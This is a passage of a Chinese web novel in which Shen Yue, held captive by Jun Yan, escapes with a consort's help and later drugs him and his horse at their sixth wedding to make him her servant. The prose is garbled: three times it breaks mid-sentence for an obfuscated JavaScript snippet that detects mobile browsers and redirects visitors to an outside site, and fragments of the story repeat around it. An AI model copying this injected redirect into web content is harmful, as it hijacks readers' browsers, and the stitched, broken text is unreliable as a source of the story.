“那你现在除了信我,还能信谁?你如今是阁主,星月阁是你恩人留下的基业,这些天你不在阁中,那边怎么样了,你就这样不闻不问吗?” “君琰,你就是吃准了我,你知道我想要的是什么,所以才用这些作为威胁我的筹码!” “我只是不想让你死。” “我没有去死。”她站起来看着他,“我只是很讨厌待在你这里,所以没胃口。” 她的话再次刺痛了他。 “那你也骗过我……” “互相欺骗,所以我更不能信你了。” “你是不是很生气?若有朝一日,你也成了强者,我也可以与你异位而处、被你qiu/jin。只是以你现在的能力,还不够。” “是吗?像你这样狂妄霸道的人,也会甘愿被人qiu/jin?” “如果那个人是你的话。” 空气里静了数秒。 “呵,司云几次三番破坏你我之事,若换了旁人,我早就将他杀了。” “……你敢!” “可是我已经杀了很多你的乡亲,我不想再杀你身边的人了。正因如此,他一个七品官才能一次又一次来触犯我的底线……我又能怎么办呢?” “那你为什么……”既然这么想,又为什么杀了义父?!她正要问,他却打断了道: “我不想再动你在意的人了,可如果实在忍无可忍,我也说不好会对他们做出什么事情来。”他红着眼睛,“反正你已经很恨我了,不介意再多恨一点吧。” “……你!” “所有的话,我现在和你说在前头。” “君琰!”她睁大眼睛,“你要是敢动他的话,我” “你待怎的……?”他终于爆发了,质问:“你还要为他殉情不成?!” “怎的也与你无关。” “……我曾有那么一瞬,想成全你和他,是因为那时候我在悬崖边上,以为自己必死无疑。”他回忆着前事,眼前浮起了一层朦胧的雾,“那时你愿意拉着我的手不放,我在那一刻便觉得,前尘往事,所有的都已释怀了…… 可既然我没死,既然还没走到山穷水尽的地步,我便不可能把你拱手让人!” “……你不觉得累吗?” 他看向她。“这话也该我问你。” 她冷笑了声,话锋一转:“那你打算什么时候放我出去?” “放你出去?”他顿了顿,“我可没想过这个问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“喵喵。”小花猫睁着一双蓝色的大眼睛,乖巧地看着她,软软的大尾巴蹭着她的脸颊扫过。 “……” “喵喵?”它的眼睛像一双海蓝宝,澄澈无暇…… 罢了,小猫总是无辜的,她若是不要,他可能会把它再卖出去,会落到什么主人手里就不好说了。 她叹了口气,伸手抱起小猫。 说起来有好久都没和小动物亲近了,云青山上没了人以后,小动物也莫名消失了很多,每每回去看的时候,都有种荒凉之感。 小猫咪忽跳出了她的臂弯,站到桌子上,对着那盘水果闻闻嗅嗅,十分好奇的样子。 “想吃吗?”她看着它可爱的模样终于笑了,“等下回如果有鱼,我便留给你。” “喵喵!”它好像能听懂一样,开心地看着她,毛茸茸的尾巴成了一根直直的竖杆儿。 “给你起个名字……叫什么好呢?”她想了想,看着桌上水灵灵的葡萄,“你干脆就叫葡萄吧?” “喵?” “葡萄!” 葡萄又跳下了桌子,掏出小爪子就开始挠桌挠地板。 她噗嗤一下笑了,“挠得好,葡萄,快,把这间屋子给他挠个稀巴烂!” “喵喵!”(得令!这个任务本喵喜欢。) 64. 开溜 他将她一关就是两个月…… 外面的日子不太平,星月阁也开始杀上门来算账了。由于之前阁主和司云的一些交集,部分人私以为司云才是阁主的相好,而至于九公子和阁主到底是什么关系,亦是众说纷纭……然九公子是杀害老阁主凶手一消息,很快便在星月阁中传开去了,变成了公开的秘密。众人复仇心切,誓要为老阁主报仇,同时将现阁主抢回。 于是君琰这里迎来了一波又一波刺杀。他在屋内,余毒未消,只能靠四堂主帮忙抵御,捉住了的人关起来,逃了的便逃了,误伤的则不管。 看来她在星月阁还是很得人心的,他想,她被自己关在这儿,星月阁的人为了她就全都涌过来了。现在沈因初毕竟不在了,没了他,星月阁便像老虎没了爪牙,又兼现阁主不在,阁中无人主事,已是一团乱麻。 星月阁与黑布组织,想当年这两个门派当年创立的时候,亦是何等的传奇。黑布组织的创建人是五十年前江湖第一高手,平素不使别的武器,只用一条黑布便将对手打得落花流水,遂将门派以”黑布“命名,早年门下只有十来个人,都是绝顶高手,他们每个人的右胳膊上,都要绑一条黑布以彰身份。而另一个门派星月阁的来由,就更是说来话长了…… 沈月身边有了葡萄陪伴,心情似乎要好了许多,然仍是没给过他好脸色,每次他去她那里,干坐上一会儿就走了,她不再与他说话,他亦不知该从何开口,只是隔段时间就能看见她一会儿,便觉心满意足。 “放我出去。”这天他来的时候,她对他说。 “你若是闷坏了,可以出去散心,但我必须派人跟着你。” “我要出去。”她说,“我一日在这里,你一日不得安宁,星月阁少说也有几千人,难道你这么喜欢每天遭遇刺杀的日子?” “习惯了,不算什么。但你,我不敢轻易放走。”他说,“皇上最近来巡游了,我有事要去处理,得暂离几天……和你说一声。” “你的脸色看上去好多了。”她说,“是毒已经消了吧?” “差不多吧。” “那就好。”她笑了笑,他正要为她关心自己而高兴,她却补了一句:“省得你死了我没人报仇。” “放心……我一定会活着,给你报仇。” 君朝雨来江南巡游,梦妃随行,这几天便到浙江。 赫连雪入宫之后,为平众臣议论,他勉强选了一位贤良淑德的官家小姐为后,又让赫连雪帮自己随便挑了几个做妃嫔,江南巡游之时,身边也只带她一人。 她想第一次到这里似的,对所有事物都充满了好奇,拉着帝王东看看,西看看,君朝雨也乐得奉陪。微服出巡,遍观市井民情,又接连发落了当地几个新任官,责其办事不利,调任他省官员来应对此地目前的种种乱象。 “也不知九弟这回娶成了没有。” 君琰虽宣布辞去爵位归于江湖,到底仍是他的兄弟,他心中还是对他这件事保持着好奇。 也不知到底是怎样一个女子,能让一向心高气傲的九弟低头折节至此,难道是会什么妖术? “妾身觉得……” “嗯?” “妾身觉得陛下关心旁的事情比关心我多呢。” “诶?” 赫连雪背过身去不看他了。 “好雪儿,你这是吃的哪门子醋?”君朝雨笑道:“好了好了,今晚带你去逛夜市好吗?” “真的?”她即刻又转过来,眼睛亮亮的。 “君无戏言。”他抬手刮了刮她小巧俏丽的鼻尖儿。 “可是浙江现在正乱着,夜市还能如往常吗?陛下心系万民,当下真的有这个心情么?” “你说得是啊。可是,朕也想让你高兴。” “陛下若不高兴,妾身也不会高兴的。妾身近来一直在想,有什么法子可以为君分忧……可是妾身好笨,想出来的法子觉得也不一定管用。” “你都想了什么法子,说来听听?” “旁的大事妾身不敢妄言,只是关于九公子一事……” “嗯?” “陛下若觉得烦恼,直接派人把那名女子抓来问问情况不就好了?您是天子,九公子就算知道了也不会怎么样的。” “这你就有所不知了。朕之前答应过他,对于他的婚嫁大事,绝不置喙,要不是因为这个,凭沈月做的事,早就该死一百次了。” “原来还有这重原因?那陛下既会答应他这个,想来是和他做了什么交易吧?” “不错。”他止步于此没有再说下去。 她也不再问了,转了话题道:“陛下要去看九公子么?” “听说南征那战他中了毒箭,也不知现在情况怎么样,他也真是的,一走了之,连封书信也没给朕写过。” “陛下若是想念,可以去看他呀?妾身可以陪陛下一起去。” “你倒是对他心无芥蒂。” 赫连雪低了头,“六妹的事情是她咎由自取,怪不到旁人头上,九公子并没有做错什么,妾身又怎会迁怒他呢?” “阿尔汉公主也是个死脑筋,看中谁那不好偏看中那个臭脾气的,可惜了。”君朝雨摇了摇头,“这样,三天。三天之后,你陪朕一道去瞅瞅九弟吧。” 赫连雪一直观察着他的神色,心中已有了计较……“妾身遵命。” 皇上来了的事儿君琰早就知道,正在想若是和他碰面该如何说话……依对方之前话里的意思,还想要在浙江顺道蹭他一杯喜酒。 想着露出了苦笑。 却不料前厅忽然有人来报——“公子,有贵客来了。” 君琰:“……” 赫连雪陪了君朝雨一会儿便出去了,却感觉自己背后时时刻刻都长了好几双眼睛……一回头,就看见有侍卫在盯着她,她一时有些恼了。 “知道本宫是谁吗?若是被皇上看到,你们这一个个的,眼珠子都要挖出来。” “抱歉娘娘,我们也是奉命行事。”谁想这些侍卫丝毫没被她吓到,“客随主便吧,委屈您了。” “我又不是贼,犯得着这么盯着么?” “抱歉,九爷府上一视同仁。” “我方才崴到脚了。”她说,“你们找个丫头帮我送点膏药过来。” 一个侍卫递了递眼神,正好一丫头路过,便转身去找药给她。 “多谢。”屋内她接过药膏,那丫头正转过身—— “啪”地一掌落在了她脖后。 她迅速与丫鬟对换了衣服,从后门出去。 听说这里给屋里那位送饭的时间会早一些,一般就是这时候……她在墙背后望着,果然蹲到了送饭丫头,遂跟在她身后,不过片刻暗器出手,又撂倒一个,拿了她的饭盒,便自己往沈月在的那个屋子走去。 小丫头依旧准时过来送饭,只是这一次,她将食盒放下后没有马上走开。 沈月疑惑地抬起头。 ……这是,赫连雪公主?!她怎么会在这儿? 她走了过去。 “听着沈月,你现在很危险。”赫连雪开门见山道:“皇上南下巡游顺道来看九公子,我随行,现在我来告诉你,你对九公子的行为皇上已经忍不下去了,你现在有杀身之险,按我说的去做,方可保你一命。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14167906|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈月一惊。 “要做什么?” “和我出去。这里守备森严,但我有办法带你离开。待在这里你是难逃一死,回到星月阁还尚有周旋余地。” “你要带我走,为什么?” “我是最了解皇上的人,他今天若得知你也在这里,就一定会杀了你,九公子如今不是王爷了,不能抗上。但如果皇上真这么做了,事后必然会后悔的,因为为了你一个你真去伤了兄弟感情不值得,我不想见他后悔,所以我决定帮你。还是说,你自己不想走,想留下等死?” “你这样帮我不怕君上事后怪罪吗?” “我宁可自己被怪罪,也不愿见他事后伤心。” “……我跟你走!” 另一边,兄弟两正聊得上头。 之前一别,两人间闹得很不愉快,可自从君琰击退敌兵、平定南境后,君朝雨心里的那股怨愤之气便少了许多,再加上他又直接去了浙江,两人有许久都没见面…… 君朝雨心中忽升一种孤独之感。他们兄弟几人中如今剩下的不多了,死的死走的走,七弟和十弟又同他关系疏离,唯一能对得上话的九弟,又撂下了一句“永生不再回京”的狠话。 此番自己主动前来,也算是主动与他和好了吧? 君琰如今不是王爷了,君朝雨亦是微服出巡,两人间的氛围反倒比从前松快了许多,只是君朝雨忽又话题一转,又说起了他的婚事—— “若我没记错的话,你娶沈月已经第五次了吧?” “你问这个做什么?” “不能问吗?这个女人摆明了是要害你。我是说过在这件事上不干预你,可是你也该为自己想想,老由着一个女人这么欺负怎么成?” “我听说星月阁最近出事了。”起身,眼神犀利:“——她是不是在你这里?” “她不在星月阁还能在哪里?”君琰心里一下子紧张了起来,面上依然装作镇定,“我就算想逼迫她,也要考虑一下星月阁吧。” “今天的星月阁还是从前的星月阁吗?”君朝雨丝毫没被他诓住,“沈因初死了,那个小丫头一个人撑得起?” “瘦死的骆驼比马大,星月阁毕竟是星月阁,我不敢如此轻举妄动的。” “是吗?”君朝雨怀疑的神色看得君琰心里发毛…… “九弟,我们几个兄弟里如今还在世的,我心里最亲的就属你了,不论你还是不是王爷,我都实在是不愿意……不愿看到你像如今这般。”他话说至此,忽大声道:“——来人!” “你要干什么?!”君琰即刻跟了过来。 “这么紧张,可见她肯定是在你这里了。”君朝雨直视着他,“九弟,不是四哥不给你面子,而是那个沈月实在太嚣张过分!为兄今天就算得罪了你,也要帮你解决了这个隐患!” “不可!难道你忘了答应我的事吗?!无论怎么样都不可对她动手,君无戏言!” “那又怎样?我便是现在反悔了,除了你又有谁知道?更何况凭沈月做的事,足够她死一千回,你的免死金牌只能保她一回!” 两人正僵持着,君朝雨正要出去,前去查探的人却已经来报了——“公子,所有地方都找遍了,没有沈月啊!” “……?不可能!”君朝雨震了震衣袖,“一定在,必然是九弟将她藏起来了。”他走出屋子,下了台阶,“继续找!” 沈月在的那间屋子并不难找,所以……?君琰顿生不详的预感,越过他四哥跑出屋子了去…… 直到看见他也如此慌张,君朝雨方意识到了什么,他回头喊人来问:“和本公子随行的那个姑娘呢?” 65. 别后 在赫连雪的帮助下,沈月一路回到了星月阁。 “公主殿下,”见对方转身就要走,沈月忙叫住她。“今日多谢援手,不知我有什么可以报答你的?” “你无需报答我。我这么做是为了皇上,不是为了你。还有,我现在是皇上的妃嫔,你若要称呼的话,应该叫娘娘。不过在这里你叫我一声姑娘便好。” “好吧,姑娘。” “你若真要报答……”她似是思索了一会儿,“日后有需要的地方,我派人来星月阁找你,沈阁主不要闭门就好。” “这是自然。你以后若有所需,我必将报答。”她拔下头上的银簪给了她,“你派人过来,拿着这个就可以了,自没有人敢拦。” 赫连雪点头微笑,“如此我就却之不恭了。沈阁主,再会。” “慢走。” 天底下怎么有这样心肠好的人,被她这样爱着,皇上应该很幸福吧。沈月如此想了想,扭头进了星月阁。 阁主回来了。 大家盼星星盼月亮,终于等到她回来了……自己回来的。 众人举杯相庆。 “从今天起,不要再去找九公子的麻烦,什么时候再行动,你们听我号令。”她吩咐手下人说,“有贵客到访,你们这段时间都安静些,不要闹事。我有些累了,暂时闭关,无事莫扰。” 回到自己房间后才想起了被丢在那边的葡萄…… 溜走的时候它尚在睡觉,一睁开眼睛看不到她了,会不会有些难过? 哎……管不了了。 对于今天发生的一切,君琰只能选择忍了。 鉴于皇上在场,他不能即刻兴师动众去把她找回,只能一直和皇上周旋着,再次让对方慢慢放下对她的杀心。 天色晚了,君朝雨回到下榻之处。 赫连雪烹了松萝茶等他,亲手奉上。 他没有接。 “是你把沈月带走的?” 赫连雪跪下了,“是。” “为什么要跟我对着干?” “请陛下责罚。” “朕在问你话!” 她忖了忖说:“如果陛下今日杀了她,便是为一女子影响了和九爷的兄弟情分,从前那么多次陛下都迁就他了,若唯独今日不能,那么此前的一切也都白做了。九爷之所以现在还愿意见您、和您把盏聊天,是因为您一直都尊重他的选择,如果您真的把沈月杀了…… 影响到和九爷的感情,陛下必然会后悔,妾身不愿见陛下难过。如果您实在不能消气,就责罚我吧。” 一番话说得恳切,他的怒气顿时消了…… 她说得也有道理。若今天真杀了沈月,自己就真的不会后悔么?此事太过微妙,着实叫人无论怎么抉择都会觉得不舒服。 可从前那么多次都忍了,偏生这次忍不得了么?为了这个沈月,九弟已经向自己做出了那么多退让…… 看着跪在地上的心爱之人,不觉心软,亲自扶起她。 “没什么,你不必请罚,我不会罚你。”他抬手抚着她的脸颊,“刚才吓到了吧?” “什么吓不吓到的。”她将小脸扭向另一边,“我既决定这样做了,就能提前想到这样做的结果。” “是我不好……”他坐下来,拉了她一把让她坐在自己腿上,“一时没控制好情绪,连累爱妃为我操心了。” 她这时才转过脸来和他四目相对,眼中柔波盈盈,唇角也绽出了笑意:“无妨的。”过了一会儿道:“我还有一事想说……” “怎么了?” “此地状况不好,我想自己拿出些银子来赈济百姓,不知陛下可否允准?” “你这么一说,倒是叫我惭愧了……” “皇上无需如此。你的百姓就是我的百姓,我散财等于你散财,陛下爱民之心,妾身知道,天下百姓亦知道。” 他闻言心中一阵动容,将她揽进怀中。 君琰看着府里两个被打晕的丫鬟陷入沉思。 赫连雪为什么要这么干,只是为了皇上吗?难道她和沈月从前有什么交集? 没听说过啊。 先不想这些了。现在最大的事儿是,人跑了。 葡萄醒来没看见她,“喵呜喵呜”地叫着,不安地满屋子乱跑,他来到那间屋子里,一眼就看到了被抓烂的地板和桌子……葡萄似乎恼意未消,又跑过来抓他的衣摆…… 要不是因为她喜欢小动物,他又怎么会买这只猫……他可从来不喜欢和这些毛茸茸黏糊糊的小东西裹在一起,感觉怪叫人尴尬的。 唉! “公子现在准备怎么办?”陆云问。 君琰深吸一口气,“她跑了,我就不能再追回来吗?” “……” “掌灯,我来给沈阁主写封信。” 沈月闭关一个月后,阁中人实在不能再等下去,静儿敲响了她静室的门。 “阁主,有急事……” 过了片刻,沈月打开了门。 “阁主恕罪,奴婢也实在是没办法,应众人所请,不得不来打扰您。” “怎么了?” 静儿双手呈上一封信—— “阁主闭关的日子里,九公子的人打上门来了,星月阁如今实力受挫不是他们的对手,我们的人已经要招架不住了,对面说要阁主嫁给他,否则就灭了星月阁。” 沈月一把拿过那信。 信上言简意赅只有一句话:“嫁我,星月阁生;不嫁,星月阁死。” “……” 这个家伙真是万古不变。 还是那么地固执、顽强、霸道、可恨。 “听说司云公子那边也被他的人控制了,因为上次的事情……这一回阁主若是再嫁,迎亲队伍里所有的人都是他那边的,阁主不能带任何人随行,这是九公子的人带话说的,以防……以防再发生意外。” “考虑得倒是很周全。”她冷嗤一声,抬手直接将信撕掉,“那就按他说的办吧。” “阁主……” “司云哥哥什么时候被控制的?” “三天前吧。” “那没事了,我一回来便和他通过消息。静儿,现在再帮我去办一件事。” “阁主尽管吩咐。” * 他如今执着于她。 哪怕遍体鳞伤、贻笑万年也要得到她。 哪怕是被她恨上一辈子。 是从什么时候开始不想放手了呢? 不……自始至终他就从未想过要放手,除了在悬崖处被她拉住的那一瞬。 只是这一次准备婚礼,他亦没了前几次的欣喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173955|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和期待,毕竟希望越大,失望越大。 这一回他不准她带任何人随行,只准她一个来,其他皆在自己掌控之中,想来这样便不会再出什么差错了吧? 其实他有想过不去逼迫,把选择的权利交给她——让她选择是否还要跟自己。 如果她当真爱上了别人,他真的可以心甘情愿地死在她的手里,可她却说,他不配。 不愿意杀了他,只是要折磨他、让他难受。 这么久了,自她“死而复生”以来,他总直觉她对自己并不是单纯的恨,总还是有那么一点点残留的、可怜的爱,而正是这一线残留而复杂的爱,成了他不能对她放手的动力和根源,也让他就此成了一个赌徒。 她恨他、骗他、伤他,却也医他、念他。曾经这世上没几个他看不透的人,也没几个是值得他在意的人,而她占据了他全部的例外…… 从某种程度上说,这种选择里,也多多少少带上了你一星半点的意愿吧? 你若当真对我不再有一丝的情意和留恋,我断无可能如此执着地娶你六次。 夭夭,你真实的心思到底是怎样的呢? 既然你对我并非完全无心,那我就再逼你一把。 ……也逼我自己一把。 我不想让某些无力改变与抗衡的东西,促成你我之间的永世之隔。 不论横亘在你我之间的是什么,我都希望我们能一起面对。我一直在等,等那个秘密真正地成为秘密,永远都不会再被世人想起,我或许就能与你坦诚过去的一切了。可在此之前,我们注定还要如此纠葛下去,你不倦,我便奉陪到底。 夭夭…… 我是真的很喜欢你。 恨我吧……恨我,我会接纳你所有的恨意与悲痛,让我比你更痛。 第六嫁是在春天。 整整一个寒冬过去,柳枝抽芽,花儿也开始生长了。 年节的时候她在闭关,没有见任何人,他这头也是冷冷清清的。皇上在年节前走了,给他留下两坛桃花醉的果酒,他贪嘴喝了,又被晏大夫数落一顿,好在身/体没有做出什么反应来,余毒终于清了,可他即将面临的是下一次…… 沈月穿着新娘嫁衣看着镜子里的自己,歪了歪头,戴上一枚莹润透亮的翡翠耳环。 大概除了少数专挑新婚夜动手的美人细作,还没有谁像她这样穿过这么多次嫁衣吧?还都是嫁给同一个人。 沈月不怕叫人笑话。 虽然与此同时,她也逐渐意识到了一件可怕的事—— 她仍然在意着身边的人,可身边亲近的人早已没几个了。她恨他,可是越恨便也越在意,越在意便越泥足深陷…… 君琰,之前我好不容易说服了自己不再恨你,可为什么你又杀了我的恩人,为什么又端了玲珑塔让我不能信守诺言?你又关我,这让我再次想起了那些在王府中的日子…… 如今你已不是王爷了,那座王府估计过不了多久也会易主,可它留给我的那些记忆却不是容易忘掉的,我至今都还记得,那些在你身边待着的、如同行尸走肉的岁月,记得那一个个孤单冷寂的夜晚,更忘不了你另娶她人时对我说过的锥心刺骨的话语。 你说,我还应该怎样对你呢? 柔软的唇瓣间抿着一张鲜红的口脂,她看着镜中的自己。 66. 六嫁 出嫁前夜她一宿未眠,坐在石上看夜间湖山之景。对岸灯火摇曳,风来则火星飘堕暗中,恰似一场殊丽终归于尽。 春日细雨潺湲,时至今日她已说不清自己是个什么心情,既苦且涩,既哀伤且欣喜,他照例像上次那样来迎她,就好像之前的事情都没发生过一般。如他所请,迎亲队伍中没一个是她这边的人,包括随行侍女、喜娘等,也都是由他来安排的。 新郎官的眼中有着淡淡的欢喜和哀伤,喜服的颜色似乎也跟着淡了,不再是像前几次那样浓烈明媚的红,他整个人也瘦削了一圈,眼底有淡淡的乌青。 两人相见,她能感觉到他的气息,忽一上前,抓住了他的手,语气柔和——“你来了。” 君琰一时间受宠若惊。 她竟主动来拉自己的手? 沈月也不害羞,搭了一下便将手缩回去了,扭头随着喜娘上了花轿。 他一直看着她的背影,在原地站了一会儿,才慢慢走向自己的马儿。 这回他要骑着疾风亲自给她驾车,看她还有什么机会做手脚。 “辛苦你了。”抬手拍了拍马背,飞身上马。“驾——” 心在砰砰直跳,脑子的热的,眼前画面时而模糊时而清晰,他的情绪也一直紧绷着,时刻都留意着身后的喜轿,或注意着周遭是否有可疑的人。陆云知他心思,隔空用内力传话道:“公子放心,这次应该不会再出意外了。” 但愿如此吧…… 如今已不是他第一回走这条路了,这也是一条迎娶她必走的路。一回,两回,三回……他不怕人笑,不怕被人议论,什么也不怕,只是怕她…… “公子,队伍后面好像有异常,我去看看!”陆云忽打马跑后面去了,无殇也跟着去了。 异常?当即心下一紧,还没来得及多想,那匹跟了他十几年的马儿忽然撒蹄狂奔起来! 烈马拉着后面的喜轿一骑绝尘,将数百护卫全部落在身后! 围观的人群里顿时一阵喧闹,他大感不妙,转瞬便想到这是因为刚才她拉了一下自己的手,一定是她那时在手上抹了什么药,如此这药便借由自己的手转到了坐骑身上!正思量间,疾风却已经奔驰如电,左冲右突地上了山! “驭,驭——!”他像往常那样想控制住坐骑却丝毫无用,骏马跟着了魔似的,狂奔着停不下来,身后喜轿的轮子碾过山石,发出激烈的碰撞声,他心下警铃大作,扭头想看一眼喜轿…… 来不及了! 可疾风好歹也伴了他十几年,和他一起上过战场、踏过刀山火海。 它原本是匹极难被驯服的烈马,直到遇见了他。 疾风,疾风…… 这马儿对他而言便如亲人一样。 可是…… 风刮得脸颊生疼,他终究挣扎着、艰难地举起了刀。 夭夭,这便是你对我的报复么?我杀了你的乡亲,所以你要逼我亲手杀死我的马儿。 疾风,对不起…… 抬手“唰”地一下果断下去,然而刀却落空了! 马儿的速度太快,抬头的一瞬,惊见疾风的前蹄已经踏出了山崖! 紧接着耳边“轰隆”一声,身后的喜轿紧随其后,和他一起,重重地摔了出去! 两人急速坠落。 他拿着刀努力想要刺到山崖边缘。 途中有许多交错缠绕的树,为他们减缓了下落的速度,很快,整个身子霍然间冰凉如冬,莹洁的水花和泡泡密布在眼前,耳朵一下子很疼——是掉进水里了!这种感觉好生熟悉,他已不是第一回…… 紧接着又是“啪”地一声水响,看见那红衣身影也掉了进来。 夭…… 他不能说话,吃力地抬手想要接住她,意识却是先一步陷入了无边的黑暗中。 * 河上画舫中明窗洞启,映着玲珑入画的曲栏杆,耳边听得双桨寂然打着河水的声音。不远处许多楼船上的华灯彩绘,显出如火的鲜明,她的心笙如纸般薄,一手撑着左边脸颊,整个身子倾斜着卧在船头,在一点如豆的灯光下看着男人的睡颜。 守了许久,男人终于醒了,一睁眼还以为自己是在梦中或黄泉之下…… “醒了呀。”沈月露出一个倩笑。 他想起了昏迷前发生的事,即刻问:“你还好吗?” “你都没死,我又怎会不好?” 他喘了喘气,忽然发现自己一点力气也提不上来,抬手,手是软绵绵的…… 一时间怔然看向她,声音有些沙哑: “婚礼那天你借由我的手把药转移到疾风身上,让马儿受惊,你我一同落下山崖,同时又安排了人在下面接应?” 否则他想象不出他们又一次大难不死的理由。 她没有即刻回答,看来是他说中了。 “是你还给我下了药,让我不能运功。” “对啊。”沈月柔柔一笑,“君琰,看清楚自己现在的处境了吗?” 身上实在绵软无力,他费了好久的功夫,才终于支撑着自己坐了起来。“你要干什么?” “婚礼当天马车坠下山崖,如今在所有人眼里,你,还有我,都已经死了。”她冲他微笑,“反正你不就是想和我在一起吗?如此也算是如你的愿了。之前那样的玩法,我腻了,现在想换个新的。怎么,只允许你逼迫我,不允许我算计你么?” “……” “给你吃了那药,最少一百天内你无法运功,就算强迫自己也不可以。你知道我是医者,我既知道什么药可以救人,便也知道什么药可以毒人。 现在的你已经变得肩不能提、手不能挑,连个常人也不如,手下人也都和你断联了,你接触不到外界的任何消息,唯一能在一起说话的人就是本小姐。 江湖上以后就没有九公子了,有的只是,你君琰——我的,仆人。” 她的语气松快,笑容轻佻,直视着他此刻的目光,“今天本小姐心情好,带你来湖上泛舟,你应该高兴才是,怎么,还一副我欺负你的神情?” “不……不是的,夭夭,”他脑中登时乱了,并没想到她竟会这么做。“我怎么样事小,你要也跟着消失了,那星月阁……” “这还不用你来管。”她抬起一根手指挑了挑他的下巴——“你要做的事儿只有一件,那就是伺候好本小姐,明白了吗?” 她如此神情并不像是装出来的。 她要他做她的仆人? 如果这便是她所愿的话…… “咳咳……” 湖上的风吹得他身子发冷,她见状也不作出什么关心之举,继续笑着道:“乖乖伺候我一百天,我便当真嫁给你。” 他缓了缓神,眼中有些茫然,声音轻飘飘的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182692|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… “真的?” “当初你锁我一百天,如今我也锁你一百天,不多也不少。这就和你立下血契。” “……不用这样的。” “要怎么做还由不得你。”她已经拿了文书过来,“南疆秘法,立下血契以后,来日若违背契约会被反噬不得好死。我不信任你,也不需要你多么信任我,我们就用最保险的办法来吧。” “你……” 他想说,不用立这个血契他也是愿意伺候她的,愿意被她束缚,可她终究还是与他生疏至此。 别说一百天,就是一百年也没什么不可以的啊…… “我记得你曾经说过,弱者是没有资格谈条件的,现在这句话也同样送给你。” “……”他没再多说话,刺破手指滴下了血。 “这就对了。”她娇娇一笑,“一会儿回去,我要你……” 他正等着她的下文,她却欲言又止,那脸色忽然冷了下来。 他不知她的想法到底如何,只是此时此刻也没有与她湖上赏景的心情,顿了顿,开口问道:“既然你愿意这样和我待在一起,那又为什么不能接受让我娶你?” “那不一样。嫁给你是要做你的夫人,我现在是要你做我的下人。” “……” “怎么说不出话来了,平时不是很霸道的吗?”她冷笑一声,“九爷目中无人惯了,如今忽被人算计沦为阶下囚,你是不是很懊恼啊?” “并不觉得懊恼。能每天都看到你,不管是以何种方式,对我来说都是愿意的。” 他说着抬手想去触碰她,手刚伸至一半,被她狠狠打了下去。 “注意你的分寸!没我命令不准你碰我,只能我碰你。念你是初犯,这次不予计较,若还有下回,我便……” “你便怎的?” 他倒要看看她究竟能做到那一步。 她看着他的眼神,忽然间了然了他的想法,“你打量着我不忍心是不是?! 对你,我还有什么狠不下心的?” “那便……任凭你处置。”他此刻浑身无力,身子也很虚,已对她放弃了抵抗。 她这时又伸手去抓起了他的一只手,笑着:“当日,我确是将药粉弄到了你手上,再由你手上转去马儿的手上。如何?亲手杀了自己最心爱的马儿,滋味是不是很好受啊?” 他曾为了战争能最终胜利弃剑进城、为敌军所擒…… 那时候,即便面对对方的酷刑和各种羞辱,他也从未折节,直到自己人取得最后的胜利……头可断血可流但骨气不可灭,哪怕处于劣势骨子里也依然高贵,是他从小就刻入骨髓的信仰。 可是到了她这里,他的信仰好像崩塌了。 一点一点地崩塌,最后溃不成军…… 只是因为对面这个人是她。 他竟也愿意,对一个人摇尾乞怜。 面对她的冷嘲热讽,他竟心痛得恨不得要寻死。 这还是从前的那个他吗? “对不起。” 她等了许久,想要看见他脸上的痛苦,却最终竟等来了这样一句。他将痛苦全数咽了下去,依然不想在她面前露出分毫。 沈月变了脸色。 半晌…… “谁稀罕你的道歉?!” “对不起,我知道道歉没有用……” 67. 溺心 “呵。”她扭过头,似乎暂时地对他失了兴趣,对那划船的人道:“时间差不多了,回去!” “要去哪里?”他问。 她没有回答,“我去哪里你就跟到哪里,记住了吗?” 暗沉的地下大殿内点着明晃晃的灯烛,有些侍卫站在殿内,他一进去便知道了,这座地下宫殿是沈因初从前留下的,如今是被她发现了。 “来人。”她命令道——“把他给我绑起来。” 侍卫们即刻上前,将他绑在了殿中的一根柱子上。 失了武功,他无力反抗,整个人都被悬了起来,定在那根柱子上,麻绳勒进了肉里。 她走到他的面前,莞尔一笑:“你就先在这里待着吧?” “小姐,请问他是您的什么人?”有个疑惑的终是问出了口。 “本小姐的下人。” “……是,小姐。” 她转身到里边去了,几个侍卫开始围着他上下打量。 “这个人看起来有点眼熟啊。”他们交头接耳着,终于有个人问他:“喂,我是不是从前见过你?” “我看他也有点眼熟,但不像是我们阁里的人呐……嘶,他是犯了什么过惹小姐这样不快?” 君琰向他们投去刀子般的眼神。 